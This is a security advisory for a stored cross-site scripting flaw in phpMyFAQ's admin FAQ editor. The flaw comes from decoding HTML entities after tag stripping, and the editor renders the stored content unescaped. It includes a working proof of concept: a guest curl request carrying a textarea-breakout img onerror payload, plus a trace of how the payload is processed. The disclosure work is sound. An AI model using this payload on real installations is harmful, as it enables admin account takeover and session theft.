thorsten/phpmyfaq: phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

Summary

A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.

Details

Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)

$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
    $answer = trim(html_entity_decode((string) $answer));
}

Root cause:

Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).

When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.

Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)

<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>

The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:

$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB

Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.

PoC

Prerequisites:

• main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)
• records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)
• At least one FAQ category must exist

Step 1: Inject XSS payload as unauthenticated guest

curl -X POST https://TARGET/api/faq/create \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Legitimate User",
    "email": "user@example.com",
    "question": "How to configure SMTP settings?",
    "answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
    "lang": "en",
    "keywords": "smtp email",
    "rubrik": ["1"],
    "captcha": "<valid-captcha-or-empty-if-disabled>"
  }'

Response: {"success":"Thank you for your suggestion!"}

Processing trace:

1. Input answer: </textarea><img src=x onerror=alert(document.domain)><textarea>
2. filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchanged
3. html_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>
4. Stored in database as raw executable HTML

Step 2: Admin triggers XSS by reviewing the submitted FAQ

When an administrator navigates to edit the submitted FAQ entry:

GET /admin/faq/edit/{faqId}/{lang}

The admin template renders:

<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>

The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.

<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />

Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).

Impact

• Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
• Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
• No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true)
• Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable